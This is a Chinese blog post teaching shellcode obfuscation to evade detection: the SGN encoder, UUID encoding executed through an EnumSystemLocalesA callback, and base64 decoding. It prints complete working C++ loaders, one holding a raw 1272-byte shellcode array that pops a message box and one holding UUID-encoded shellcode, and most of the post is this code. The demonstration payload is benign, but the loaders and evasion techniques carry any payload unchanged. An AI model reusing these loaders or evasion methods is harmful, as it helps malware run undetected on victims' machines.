shellcode 混淆加密(一)

本贴最后更新于 428 天前,其中的信息可能已经时移世易

此篇文章不涉及 shellcode 的编写,只讨论 shellcode 的加密方式。
首先准备一段 shellcode,我这里准备的是弹出 messagebox 的 shellcode,shellcode 和 loader 如下:

#include <windows.h>
#include <iostream>

using namespace std;

unsigned char shellcode[1272] = {
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x68, 0xB8, 0x4B, 0x00, 0x00, 0x00, 0x66, 0x89, 0x45, 0x98, 0xB9, 
0x45, 0x00, 0x00, 0x00, 0x66, 0x89, 0x4D, 0x9A, 0xBA, 0x52, 0x00, 0x00, 0x00, 0x66, 0x89, 0x55, 
0x9C, 0xB8, 0x4E, 0x00, 0x00, 0x00, 0x66, 0x89, 0x45, 0x9E, 0xB9, 0x45, 0x00, 0x00, 0x00, 0x66, 
0x89, 0x4D, 0xA0, 0xBA, 0x4C, 0x00, 0x00, 0x00, 0x66, 0x89, 0x55, 0xA2, 0xB8, 0x33, 0x00, 0x00, 
0x00, 0x66, 0x89, 0x45, 0xA4, 0xB9, 0x32, 0x00, 0x00, 0x00, 0x66, 0x89, 0x4D, 0xA6, 0xBA, 0x2E, 
0x00, 0x00, 0x00, 0x66, 0x89, 0x55, 0xA8, 0xB8, 0x44, 0x00, 0x00, 0x00, 0x66, 0x89, 0x45, 0xAA, 
0xB9, 0x4C, 0x00, 0x00, 0x00, 0x66, 0x89, 0x4D, 0xAC, 0xBA, 0x4C, 0x00, 0x00, 0x00, 0x66, 0x89, 
0x55, 0xAE, 0x33, 0xC0, 0x66, 0x89, 0x45, 0xB0, 0x8D, 0x4D, 0x98, 0x51, 0xE8, 0x7F, 0x02, 0x00, 
0x00, 0x83, 0xC4, 0x04, 0x89, 0x45, 0xFC, 0xC6, 0x45, 0xB4, 0x47, 0xC6, 0x45, 0xB5, 0x65, 0xC6, 
0x45, 0xB6, 0x74, 0xC6, 0x45, 0xB7, 0x50, 0xC6, 0x45, 0xB8, 0x72, 0xC6, 0x45, 0xB9, 0x6F, 0xC6, 
0x45, 0xBA, 0x63, 0xC6, 0x45, 0xBB, 0x41, 0xC6, 0x45, 0xBC, 0x64, 0xC6, 0x45, 0xBD, 0x64, 0xC6, 
0x45, 0xBE, 0x72, 0xC6, 0x45, 0xBF, 0x65, 0xC6, 0x45, 0xC0, 0x73, 0xC6, 0x45, 0xC1, 0x73, 0xC6, 
0x45, 0xC2, 0x00, 0xC6, 0x45, 0xC4, 0x4C, 0xC6, 0x45, 0xC5, 0x6F, 0xC6, 0x45, 0xC6, 0x61, 0xC6, 
0x45, 0xC7, 0x64, 0xC6, 0x45, 0xC8, 0x4C, 0xC6, 0x45, 0xC9, 0x69, 0xC6, 0x45, 0xCA, 0x62, 0xC6, 
0x45, 0xCB, 0x72, 0xC6, 0x45, 0xCC, 0x61, 0xC6, 0x45, 0xCD, 0x72, 0xC6, 0x45, 0xCE, 0x79, 0xC6, 
0x45, 0xCF, 0x41, 0xC6, 0x45, 0xD0, 0x00, 0x8D, 0x55, 0xB4, 0x52, 0x8B, 0x45, 0xFC, 0x50, 0xE8, 
0x5C, 0x03, 0x00, 0x00, 0x89, 0x45, 0xF0, 0x8D, 0x4D, 0xC4, 0x51, 0x8B, 0x55, 0xFC, 0x52, 0xE8, 
0x4C, 0x03, 0x00, 0x00, 0x89, 0x45, 0xF8, 0xC6, 0x45, 0xE0, 0x75, 0xC6, 0x45, 0xE1, 0x73, 0xC6, 
0x45, 0xE2, 0x65, 0xC6, 0x45, 0xE3, 0x72, 0xC6, 0x45, 0xE4, 0x33, 0xC6, 0x45, 0xE5, 0x32, 0xC6, 
0x45, 0xE6, 0x2E, 0xC6, 0x45, 0xE7, 0x64, 0xC6, 0x45, 0xE8, 0x6C, 0xC6, 0x45, 0xE9, 0x6C, 0xC6, 
0x45, 0xEA, 0x00, 0x8D, 0x45, 0xE0, 0x50, 0xFF, 0x55, 0xF8, 0x89, 0x45, 0xF4, 0xC6, 0x45, 0xD4, 
0x4D, 0xC6, 0x45, 0xD5, 0x65, 0xC6, 0x45, 0xD6, 0x73, 0xC6, 0x45, 0xD7, 0x73, 0xC6, 0x45, 0xD8, 
0x61, 0xC6, 0x45, 0xD9, 0x67, 0xC6, 0x45, 0xDA, 0x65, 0xC6, 0x45, 0xDB, 0x42, 0xC6, 0x45, 0xDC, 
0x6F, 0xC6, 0x45, 0xDD, 0x78, 0xC6, 0x45, 0xDE, 0x57, 0xC6, 0x45, 0xDF, 0x00, 0x8D, 0x4D, 0xD4, 
0x51, 0x8B, 0x55, 0xF4, 0x52, 0xFF, 0x55, 0xF0, 0x89, 0x45, 0xEC, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 
0x00, 0x6A, 0x00, 0xFF, 0x55, 0xEC, 0x8B, 0xE5, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x08, 0xC7, 0x45, 0xF8, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x45, 0xFC, 
0x00, 0x00, 0x00, 0x00, 0xEB, 0x09, 0x8B, 0x45, 0xFC, 0x83, 0xC0, 0x01, 0x89, 0x45, 0xFC, 0x8B, 
0x4D, 0x08, 0x03, 0x4D, 0xFC, 0x0F, 0xBE, 0x11, 0x85, 0xD2, 0x74, 0x0B, 0x8B, 0x45, 0xF8, 0x83, 
0xC0, 0x01, 0x89, 0x45, 0xF8, 0xEB, 0xDF, 0x8B, 0x45, 0xF8, 0x8B, 0xE5, 0x5D, 0xC3, 0xCC, 0xCC, 
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x08, 0xC7, 0x45, 0xF8, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x45, 0xFC, 
0x00, 0x00, 0x00, 0x00, 0xEB, 0x09, 0x8B, 0x45, 0xFC, 0x83, 0xC0, 0x01, 0x89, 0x45, 0xFC, 0x8B, 
0x4D, 0xFC, 0x8B, 0x55, 0x08, 0x0F, 0xB7, 0x04, 0x4A, 0x85, 0xC0, 0x74, 0x0B, 0x8B, 0x4D, 0xF8, 
0x83, 0xC1, 0x01, 0x89, 0x4D, 0xF8, 0xEB, 0xDE, 0x8B, 0x45, 0xF8, 0x8B, 0xE5, 0x5D, 0xC3, 0xCC, 
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x0C, 0x8B, 0x45, 0x08, 0x50, 0xE8, 0x71, 0xFF, 0xFF, 0xFF, 0x83, 
0xC4, 0x04, 0x89, 0x45, 0xF8, 0x8B, 0x4D, 0x0C, 0x51, 0xE8, 0x62, 0xFF, 0xFF, 0xFF, 0x83, 0xC4, 
0x04, 0x89, 0x45, 0xF4, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x09, 0x8B, 0x55, 0xFC, 
0x83, 0xC2, 0x01, 0x89, 0x55, 0xFC, 0x8B, 0x45, 0xFC, 0x3B, 0x45, 0xF8, 0x7D, 0x25, 0x8B, 0x4D, 
0xFC, 0x3B, 0x4D, 0xF4, 0x7D, 0x1D, 0x8B, 0x55, 0x08, 0x03, 0x55, 0xFC, 0x0F, 0xBE, 0x02, 0x8B, 
0x4D, 0x0C, 0x03, 0x4D, 0xFC, 0x0F, 0xBE, 0x11, 0x3B, 0xC2, 0x74, 0x05, 0x83, 0xC8, 0xFF, 0xEB, 
0x04, 0xEB, 0xCA, 0x33, 0xC0, 0x8B, 0xE5, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x0C, 0x8B, 0x45, 0x08, 0x50, 0xE8, 0x41, 0xFF, 0xFF, 0xFF, 0x83, 
0xC4, 0x04, 0x89, 0x45, 0xF8, 0x8B, 0x4D, 0x0C, 0x51, 0xE8, 0x32, 0xFF, 0xFF, 0xFF, 0x83, 0xC4, 
0x04, 0x89, 0x45, 0xF4, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x09, 0x8B, 0x55, 0xFC, 
0x83, 0xC2, 0x01, 0x89, 0x55, 0xFC, 0x8B, 0x45, 0xFC, 0x3B, 0x45, 0xF8, 0x7D, 0x27, 0x8B, 0x4D, 
0xFC, 0x3B, 0x4D, 0xF4, 0x7D, 0x1F, 0x8B, 0x55, 0xFC, 0x8B, 0x45, 0x08, 0x0F, 0xB7, 0x0C, 0x50, 
0x8B, 0x55, 0xFC, 0x8B, 0x45, 0x0C, 0x0F, 0xB7, 0x14, 0x50, 0x3B, 0xCA, 0x74, 0x05, 0x83, 0xC8, 
0xFF, 0xEB, 0x04, 0xEB, 0xC8, 0x33, 0xC0, 0x8B, 0xE5, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x0C, 0x64, 0xA1, 0x18, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x30, 0x89, 
0x45, 0xF4, 0x8B, 0x45, 0xF4, 0x8B, 0x48, 0x0C, 0x89, 0x4D, 0xF8, 0x8B, 0x55, 0xF8, 0x8B, 0x42, 
0x0C, 0x89, 0x45, 0xFC, 0x8B, 0x4D, 0xF8, 0x8B, 0x55, 0xFC, 0x8B, 0x41, 0x0C, 0x3B, 0x02, 0x74, 
0x29, 0x8B, 0x4D, 0x08, 0x51, 0x8B, 0x55, 0xFC, 0x8B, 0x42, 0x30, 0x50, 0xE8, 0x4F, 0xFF, 0xFF, 
0xFF, 0x83, 0xC4, 0x08, 0x85, 0xC0, 0x75, 0x08, 0x8B, 0x4D, 0xFC, 0x8B, 0x41, 0x18, 0xEB, 0x0C, 
0x8B, 0x55, 0xFC, 0x8B, 0x02, 0x89, 0x45, 0xFC, 0xEB, 0xCA, 0x33, 0xC0, 0x8B, 0xE5, 0x5D, 0xC3, 
0x55, 0x8B, 0xEC, 0x8B, 0x45, 0x08, 0x03, 0x45, 0x0C, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x20, 0x8B, 0x45, 0x08, 0x89, 0x45, 0xF4, 0x8B, 0x4D, 0xF4, 0x8B, 
0x51, 0x3C, 0x03, 0x55, 0x08, 0x89, 0x55, 0xF0, 0x8B, 0x45, 0x08, 0x50, 0xB9, 0x08, 0x00, 0x00, 
0x00, 0x6B, 0xD1, 0x00, 0x8B, 0x45, 0xF0, 0x8B, 0x4C, 0x10, 0x78, 0x51, 0xE8, 0xBF, 0xFF, 0xFF, 
0xFF, 0x83, 0xC4, 0x08, 0x89, 0x45, 0xF8, 0x8B, 0x55, 0x08, 0x52, 0x8B, 0x45, 0xF8, 0x8B, 0x48, 
0x20, 0x51, 0xE8, 0xA9, 0xFF, 0xFF, 0xFF, 0x83, 0xC4, 0x08, 0x89, 0x45, 0xEC, 0x8B, 0x55, 0x08, 
0x52, 0x8B, 0x45, 0xF8, 0x8B, 0x48, 0x24, 0x51, 0xE8, 0x93, 0xFF, 0xFF, 0xFF, 0x83, 0xC4, 0x08, 
0x89, 0x45, 0xE4, 0x8B, 0x55, 0x08, 0x52, 0x8B, 0x45, 0xF8, 0x8B, 0x48, 0x1C, 0x51, 0xE8, 0x7D, 
0xFF, 0xFF, 0xFF, 0x83, 0xC4, 0x08, 0x89, 0x45, 0xE0, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00, 
0xEB, 0x09, 0x8B, 0x55, 0xFC, 0x83, 0xC2, 0x01, 0x89, 0x55, 0xFC, 0x8B, 0x45, 0xF8, 0x8B, 0x4D, 
0xFC, 0x3B, 0x48, 0x18, 0x73, 0x4E, 0x8B, 0x55, 0x08, 0x52, 0x8B, 0x45, 0xFC, 0x8B, 0x4D, 0xEC, 
0x8B, 0x14, 0x81, 0x52, 0xE8, 0x47, 0xFF, 0xFF, 0xFF, 0x83, 0xC4, 0x08, 0x89, 0x45, 0xE8, 0x8B, 
0x45, 0x0C, 0x50, 0x8B, 0x4D, 0xE8, 0x51, 0xE8, 0xF4, 0xFD, 0xFF, 0xFF, 0x83, 0xC4, 0x08, 0x85, 
0xC0, 0x75, 0x1F, 0x8B, 0x55, 0x08, 0x52, 0x8B, 0x45, 0xFC, 0x8B, 0x4D, 0xE4, 0x0F, 0xB7, 0x14, 
0x41, 0x8B, 0x45, 0xE0, 0x8B, 0x0C, 0x90, 0x51, 0xE8, 0x13, 0xFF, 0xFF, 0xFF, 0x83, 0xC4, 0x08, 
0xEB, 0x04, 0xEB, 0x9E, 0x33, 0xC0, 0x8B, 0xE5, 0x5D, 0xC2, 0x08, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x18, 0x81, 0x7D, 0x0C, 0xFF, 0xFF, 0x00, 0x00, 0x72, 0x11, 0x8B, 
0x45, 0x0C, 0x50, 0x8B, 0x4D, 0x08, 0x51, 0xE8, 0xF4, 0xFE, 0xFF, 0xFF, 0xEB, 0x75, 0xEB, 0x71, 
0x8B, 0x55, 0x08, 0x89, 0x55, 0xF8, 0x8B, 0x45, 0xF8, 0x8B, 0x48, 0x3C, 0x03, 0x4D, 0x08, 0x89, 
0x4D, 0xF4, 0x8B, 0x55, 0x08, 0x52, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x6B, 0xC8, 0x00, 0x8B, 0x55, 
0xF4, 0x8B, 0x44, 0x0A, 0x78, 0x50, 0xE8, 0xB5, 0xFE, 0xFF, 0xFF, 0x83, 0xC4, 0x08, 0x89, 0x45, 
0xFC, 0x8B, 0x4D, 0x08, 0x51, 0x8B, 0x55, 0xFC, 0x8B, 0x42, 0x1C, 0x50, 0xE8, 0x9F, 0xFE, 0xFF, 
0xFF, 0x83, 0xC4, 0x08, 0x89, 0x45, 0xEC, 0x8B, 0x4D, 0xFC, 0x8B, 0x51, 0x10, 0x89, 0x55, 0xF0, 
0x8B, 0x45, 0x08, 0x50, 0x8B, 0x4D, 0x0C, 0x2B, 0x4D, 0xF0, 0x8B, 0x55, 0xEC, 0x8B, 0x04, 0x8A, 
0x50, 0xE8, 0x7A, 0xFE, 0xFF, 0xFF, 0x83, 0xC4, 0x08, 0x89, 0x45, 0xE8, 0x8B, 0x45, 0xE8, 0xEB, 
0x02, 0x33, 0xC0, 0x8B, 0xE5, 0x5D, 0xC2, 0x08
};

typedef HMODULE(*fun)();
int main(int argc, char* argv[])
{
LPVOID addressPoniter = VirtualAlloc(NULL, sizeof(shellcode), 4096, 0x40);
RtlMoveMemory(addressPoniter, shellcode, sizeof(shellcode));

HMODULE HD = ((fun)addressPoniter)();
Sleep(1000);
system("pause");
std::cout << "Hello World!\n";
}

1.sgn 工具的使用

针对网络安全社区来说,原始版本的 SGN 编码器一开始被认为是最好的 Shellcode 编码器,(直到现在其实也是)。作者的 github 地址是EgeBalci/sgn:仕方がない编码器移植到 Go 中,进行了多项改进 (github.com),可以去下载编译好的 exe 或者也可以下载源代码。很有意思的一点是,作者直接在 github 上发起一项挑战,作者认为认为任何基于规则的静态检测机制都不能检测到用 SGN 编码的二进制文件,如果有人能编写一个可以检测每个编码输出的 YARA 规则,作者愿意拿出奖金来。

首先拿到我们的 bin 文件

image-20231020163059097

然后拿到我们的 sgn 目录下,利用工具加密。

image-20231020163445213

可以看到输入输出的文件名和文件大小。

将输出的 bin 文件拿到 loader 去执行,发现成功弹窗。

2.UUID 加密

UUID 是什么?

通用唯一识别码(Universally Unique Identifier,缩写:UUID),是用于计算机体系中以识别信息数目的一个 128 位标识符,根据标准方法生成,不依赖中央机构的注册和分配,UUID 具有唯一性。

当然还有一种 GUID(全局唯一标识符(英语:Globally Unique Identifier,缩写:GUID)),是一种由算法生成的唯一标识,通常表示成 32 个 16 进制数字(0-9,A-F)组成的字符串,如:{21EC2020-3AEA-1069-A2DD-08002B30309D},它实质上是一个 128 位长的二进制整数

我们这里通过 uuid 方式将 shellcode 写入内存中,在这里我们利用工具先将 shellcode 转换成 uuid 编码,工具在这里Haunted-Banshee/Shellcode-Hastur: Shellcode Reductio Entropy Tools (github.com),工具还有一些其他的功能。**
**如果想研究编码原理以及源码的可以参考这里 UuidShellcodeExec/shellcodeToUUID.py at main · ChoiSG/UuidShellcodeExec (github.com)

![](image.png

到这里,我们就拿到了我们 shellcode 的 uuid 编码。

loader 中操作如下:

第一步,创建并分配堆内存

HANDLE HeapCreate(
  DWORD  flOptions,
  SIZE_T dwInitialSize,
  SIZE_T dwMaximumSize
);

**HeapCreate 函数原型如上,在这里第一个参数必须是“**HEAP_CREATE_ENABLE_EXECUTE”,否则当我们试图在来自堆的内存块中执行代码时,系统会抛出 EXCEPTION_ACCESS_VIOLATION 异常。其他两个参数设置为 0 即可,其中 dwMaximumSize 为 0,表示堆内存大小是可增长的,其大小仅受限于系统可用内存大小。

DECLSPEC_ALLOCATOR LPVOID HeapAlloc(
  HANDLE hHeap,
  DWORD  dwFlags,
  SIZE_T dwBytes
);

*接下来,使用 HeapAlloc 函数在刚创建的堆上分配内存。申请的内存应为 sizeof(uuids)16。

第二步,将 shellcode 植入堆内存

这里使用了 UuidFromStringA 函数。

RPC_STATUS UuidFromStringA(
  RPC_CSTR StringUuid,
  UUID     *Uuid
);

首先,我们使用 UuidToStringA 函数将 shellcode 转成 string UUID,运行时再使用 UuidFromStringA 将其提出来放入上一步分配的堆内存,最后使用 EnumSystemLocalesA 回调函数 来执行。

EnumSystemLocalesA ,该函数用于枚举系统中可用的区域设置(locales)。在这里我们利用回调机制来执行我们的 shellcode,减少了敏感函数的使用。

image.png

上代码

#include <Windows.h>
#include <Rpc.h>
#include <iostream>

#pragma comment(lib, "Rpcrt4.lib")
//#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")

 const char* uuids[] =
 {
     "83ec8b55-68ec-4bb8-0000-0066894598b9",
     "00000045-8966-9a4d-ba52-000000668955",
     "004eb89c-0000-8966-459e-b94500000066",
     "baa04d89-004c-0000-6689-55a2b8330000",
     "45896600-b9a4-0032-0000-66894da6ba2e",
     "66000000-5589-b8a8-4400-0000668945aa",
     "00004cb9-6600-4d89-acba-4c0000006689",
     "c033ae55-8966-b045-8d4d-9851e87f0200",
     "04c48300-4589-c6fc-45b4-47c645b565c6",
     "c674b645-b745-c650-45b8-72c645b96fc6",
     "c663ba45-bb45-c641-45bc-64c645bd64c6",
     "c672be45-bf45-c665-45c0-73c645c173c6",
     "c600c245-c445-c64c-45c5-6fc645c661c6",
     "c664c745-c845-c64c-45c9-69c645ca62c6",
     "c672cb45-cc45-c661-45cd-72c645ce79c6",
     "c641cf45-d045-8d00-55b4-528b45fc50e8",
     "0000035c-4589-8df0-4dc4-518b55fc52e8",
     "0000034c-4589-c6f8-45e0-75c645e173c6",
     "c665e245-e345-c672-45e4-33c645e532c6",
     "c62ee645-e745-c664-45e8-6cc645e96cc6",
     "8d00ea45-e045-ff50-55f8-8945f4c645d4",
     "d545c64d-c665-d645-73c6-45d773c645d8",
     "d945c661-c667-da45-65c6-45db42c645dc",
     "dd45c66f-c678-de45-57c6-45df008d4dd4",
     "f4558b51-ff52-f055-8945-ec6a006a006a",
     "ff006a00-ec55-e58b-5dc3-cccccccccccc",
     "83ec8b55-08ec-45c7-f800-000000c745fc",
     "00000000-09eb-458b-fc83-c0018945fc8b",
     "4d03084d-0ffc-11be-85d2-740b8b45f883",
     "458901c0-ebf8-8bdf-45f8-8be55dc3cccc",
     "83ec8b55-08ec-45c7-f800-000000c745fc",
     "00000000-09eb-458b-fc83-c0018945fc8b",
     "558bfc4d-0f08-04b7-4a85-c0740b8b4df8",
     "8901c183-f84d-deeb-8b45-f88be55dc3cc",
     "83ec8b55-0cec-458b-0850-e871ffffff83",
     "458904c4-8bf8-0c4d-51e8-62ffffff83c4",
     "f4458904-45c7-00fc-0000-00eb098b55fc",
     "8901c283-fc55-458b-fc3b-45f87d258b4d",
     "f44d3bfc-1d7d-558b-0803-55fc0fbe028b",
     "4d030c4d-0ffc-11be-3bc2-740583c8ffeb",
     "33caeb04-8bc0-5de5-c3cc-cccccccccccc",
     "83ec8b55-0cec-458b-0850-e841ffffff83",
     "458904c4-8bf8-0c4d-51e8-32ffffff83c4",
     "f4458904-45c7-00fc-0000-00eb098b55fc",
     "8901c283-fc55-458b-fc3b-45f87d278b4d",
     "f44d3bfc-1f7d-558b-fc8b-45080fb70c50",
     "8bfc558b-0c45-b70f-1450-3bca740583c8",
     "eb04ebff-33c8-8bc0-e55d-c3cccccccccc",
     "83ec8b55-0cec-a164-1800-00008b403089",
     "458bf445-8bf4-0c48-894d-f88b55f88b42",
     "fc45890c-4d8b-8bf8-55fc-8b410c3b0274",
     "084d8b29-8b51-fc55-8b42-3050e84fffff",
     "08c483ff-c085-0875-8b4d-fc8b4118eb0c",
     "8bfc558b-8902-fc45-ebca-33c08be55dc3",
     "8bec8b55-0845-4503-0c5d-c3cccccccccc",
     "83ec8b55-20ec-458b-0889-45f48b4df48b",
     "55033c51-8908-f055-8b45-0850b9080000",
     "00d16b00-458b-8bf0-4c10-7851e8bfffff",
     "08c483ff-4589-8bf8-5508-528b45f88b48",
     "a9e85120-ffff-83ff-c408-8945ec8b5508",
     "f8458b52-488b-5124-e893-ffffff83c408",
     "8be44589-0855-8b52-45f8-8b481c51e87d",
     "83ffffff-08c4-4589-e0c7-45fc00000000",
     "558b09eb-83fc-01c2-8955-fc8b45f88b4d",
     "18483bfc-4e73-558b-0852-8b45fc8b4dec",
     "5281148b-47e8-ffff-ff83-c4088945e88b",
     "8b500c45-e84d-e851-f4fd-ffff83c40885",
     "8b1f75c0-0855-8b52-45fc-8b4de40fb714",
     "e0458b41-0c8b-5190-e813-ffffff83c408",
     "9eeb04eb-c033-e58b-5dc2-0800cccccccc",
     "83ec8b55-18ec-7d81-0cff-ff000072118b",
     "8b500c45-084d-e851-f4fe-ffffeb75eb71",
     "8908558b-f855-458b-f88b-483c034d0889",
     "558bf44d-5208-08b8-0000-006bc8008b55",
     "0a448bf4-5078-b5e8-feff-ff83c4088945",
     "084d8bfc-8b51-fc55-8b42-1c50e89ffeff",
     "08c483ff-4589-8bec-4dfc-8b51108955f0",
     "5008458b-4d8b-2b0c-4df0-8b55ec8b048a",
     "fe7ae850-ffff-c483-0889-45e88b45e8eb",
     "8bc03302-5de5-08c2-0000-000000000000",
};

int main()
{
HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);//创建堆,并标记为可执行
void* ha = HeapAlloc(hc, 0, sizeof(uuids)*16);//为堆申请空间
DWORD_PTR hptr = (DWORD_PTR)ha;
int elems = sizeof(uuids) / sizeof(uuids[0]);

    //uuid转换成string
for (int i = 0; i < elems; i++) {
RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);
if (status != RPC_S_OK) {
CloseHandle(ha);
return -1;
}
hptr += 16;
}
EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);//回调函数
CloseHandle(ha);
return 0;
}

image.png

这里也有一些分析文章:
RIFT:分析 Lazarus shellcode 执行方法 |NCC 集团研究博客 | 让世界更安全、更有保障 (nccgroup.com)

3.base64 编码

base64 是一个经典的编码了,在这里简单介绍一下就可以了。

Base64 的编码原理:
Base64 是一种基于 64 个 ASCII 字符来表示二进制数据的表示方法。
Base64 将 8 比特位为一个单元的字节数据拆分为以 6 个比特位为一个单元的二进制片段,每 6 个比特位单元对应 Base64 索引表中的一个字符,这样最终构成一个超过编码前字节数据 33% 的字符串。

定义一个 DecodeBase64()函数

int DecodeBase64( const BYTE * src, unsigned int srcLen, char * dst, unsigned int dstLen ) {
    DWORD outLen;
    BOOL fRet;
    outLen = dstLen;
    // CryptStringToBinary(源地址、长度、类型、返回序列地址、返回序列长度)
    // 成功执行后返回1
    fRet = CryptStringToBinary( (LPCSTR) src, srcLen, CRYPT_STRING_BASE64, (BYTE * )dst, &outLen, NULL, NULL);
    if (!fRet) outLen = 0;  // 失败则返回0
    return(outLen);   // 函数返回缓冲区大小
}

DecodeBase64()函数中的参数,分别是

  • src:指向 payload 的地址,即 base64 编码后的 payload
  • srcLen:payload 的长度
  • dst:指向解码后写入的地址,本例中 exec_mem 为新开辟的缓冲区
  • dstLen:表示缓冲区长度,这里 payload 长度和缓冲区长度一致
    CryptStringToBinary() 函数将格式化的字符串以某种编码形式转换为二进制序列,函数声明如下:**
    **https://docs.microsoft.com/zh-cn/windows/win32/api/wincrypt/nf-wincrypt-cryptstringtobinarya
BOOL CryptStringToBinaryA(
    LPCSTR pszString,
    DWORD  cchString,
    DWORD  dwFlags,
    BYTE   *pbBinary,
    DWORD  *pcbBinary,
    DWORD  *pdwSkip,
    DWORD  *pdwFlags
);
  • pszString 指向待转换的字符地址,即 payload 在内存中的地址
  • cchString 表示待处理 payload 的大小
  • dwFlags 表明 payload 转换格式
  • pbBinary 指向接收字符的缓冲区
  • pcbBinary 指向一个变量,表示目的缓冲区大小(pbBinary 指向的)
  • pdwSkip 接收跳过的字符数,一般设置为 NULL
  • pdwFlags 接收跳过的字符数,一般设置为 NULL

需要提醒的是,单纯的 base64 加密效果现在并不好,需要配合其他的加密一起进行。

  • 安全

    安全永远都不是一个小问题。

    200 引用 • 816 回帖

相关帖子

欢迎来到这里!

我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

注册 关于
请输入回帖内容 ...